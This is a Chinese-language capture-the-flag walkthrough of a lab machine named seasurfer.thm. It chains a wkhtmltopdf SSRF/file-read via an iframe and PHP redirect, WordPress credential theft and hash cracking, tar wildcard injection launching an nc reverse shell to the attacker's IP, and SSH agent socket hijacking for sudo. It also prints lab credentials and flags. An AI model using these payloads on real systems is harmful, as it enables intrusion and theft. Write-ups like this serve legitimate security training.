端口扫描

sudo nmap --min-rate 10000 -p- 10.10.145.77         
[sudo] mikannse 的密码:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-13 23:55 CST
Nmap scan report for 10.10.145.77
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
sudo nmap -sT -sV -sC -O -p22,80 10.10.145.77    
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-13 23:58 CST
Nmap scan report for 10.10.145.77
Host is up (0.23s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 87:e3:d4:32:cd:51:d2:96:70:ef:5f:48:22:50:ab:67 (RSA)
| 256 27:d1:37:b0:c5:3c:b5:81:6a:7c:36:8a:2b:63:9a:b9 (ECDSA)
|_ 256 7f:13:1b:cf:e6:45:51:b9:09:43:9a:23:2f:50:3c:94 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.2 - 4.9 (93%), Linux 3.7 - 3.10 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.52 seconds

Web

根目录是一个apache的默认界面,扫了一下目录没扫不出什么东西。抓个包,发现response,里面有个seasurfer.thm,添加host。访问http://seasurfer.thm/

看上去是一个博客。一开始对于为什么明明是一台主机,按理来说以IP或者域名来访问是会来到同样的网站,但为什么这里二者却来到了不同的网页?搜索了一番找到了答案:一个IP可以对应多个站点(也就是多个域名),叫做虚拟主机技术。所以当以IP来访问时,会造成访问的站点不正确。例如也许我们一开始访问的时/var/www/html/index.php,而用域名来访问则是访问/var/www/seasurfer/index.php。真是受益匪浅

回到靶机本身。一边爆破下目录,浏览一下网页,应该是一个WP搭建的博客。发现几个用户名:kyle,maya,brandon。并且kyle是系统管理员

试着再爆破一下子域名

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.seasurfer.thm" -u http://seasurfer.thm/ -fs 10918

得到internal,添加internal.seasurfer.thm到hosts。

先到之前的WP登陆界面,发现会提示用户名是否存在,而且kyle这个用户是存在的,试着爆破一下密码

wpscan --url http://seasurfer.thm/wp-login.php -P /usr/share/wordlists/rockyou.txt -U kyle

但是爆破不出来

回到internal,发现可以生成表单,以PDF的格式。但是测试了没有XSS。然后不会了,看了下WP。

Getshell

将PDF下载本地

exiftool 14092023-lx31jeMJfibf9TTRHDaY.pdf

发现是用wkhtmltopdf 0.12.5工具创建的。存在SSRF和文件包含漏洞

在kali中开启apache服务,在/var/www/html目录下创建一个test.php

<?php
$loc = "http://127.0.0.1/";
if(isset($_GET['a'])){
$loc = $_GET['a'];
}
header('Location: '.$loc);
?>

然后在创建表单的界面输入:

<iframe src="http://vpnip/test.php?a=file:///etc/passwd"> 

成功读取到了passwd。那我们也就能替换来读取别的文件了

<iframe src="http://vpnip/test.php?a=file:///var/www/wordpress/wp-config.php" width="500" height="2000"></iframe>

试着读取WP的配置文件,得到凭据:

define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wordpressuser' );
/** Database password */
define( 'DB_PASSWORD', 'coolDataTablesMan' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );

但是似乎并不是用于WP登录的,发现用web-contend的big.txt字典可以扫除一个adminer目录,貌似是数据库管理系统?用得到的凭据登录。在user表中可以得到kyle的密码哈希:$P$BuCryp52DAdCRIcLrT9vrFNb0vPcyi/

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

得到密码jenny4ever,这下能够用于WP登录了。

试着更改index.php反弹shell

访问:http://seasurfer.thm/wp-content/themes/twentyseventeen/index.php

成功getshell

python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm-color

横向移动

不出意外要横向到kyle用户

在/var/www/internal/maintenance目录下发现一个以kyle身份运行的backup.sh,而且我们能够运行

#!/bin/bash
# Brandon complained about losing _one_ receipt when we had 5 minutes of downtime, set this to run every minute now >:D
# Still need to come up with a better backup system, perhaps a cloud provider?
cd /var/www/internal/invoices
tar -zcf /home/kyle/backups/invoices.tgz *

作用是将invoices目录下的所有文件打包备份到家目录的备份目录下,而且invoices这个目录我们正好有权限,并且这个脚本一分钟执行一次

熟悉的cf参数,试着用添加检查点的方式来提权

cd到invoices目录

echo 'mkfifo /tmp/orindc; nc vpnip 1235 0</tmp/orindc | /bin/sh >/tmp/orindc 2>&1; rm /tmp/orindc'>shell.sh

创建一个反弹shell脚本

touch ./--checkpoint=1
touch './--checkpoint-action=exec=sh shell.sh'

成功得到kyle的shell

uset.txt

THM{SSRFING_TO_LFI_TO_RCE}

提权

Ok,试了一些常规的方法都失败了,上linpeas

发现/etc/pam.d/sudo,发现配置为接受sudo_authorized_keys

应该是能够用key来运行sudo?

能够找到这条

kyle        1121  0.0  0.1   6892  2348 pts/0    Ss+  08:20   0:00 bash -c sudo 

kyle执行了一个sudo命令

export SSH_AUTH_SOCK=/tmp/ssh-MikvywSCCA/agent.1120

导入一个SSH代理套字节文件,具体的目录名字每个靶机都不一样,自行去/tmp寻找

ssh-add -l

列出当前的ssh代理,我们已经成功代理

sudo /bin/bash

成功提权

THM{STEALING_SUDO_TOKENS}

碎碎念

hard难度的靶机还是很有难度的啊,除了那个WP反弹shell,其他都是没见过的利用方式。SSRF+LFI的利用还是有点强的。提权也是没了解过的SSH代理。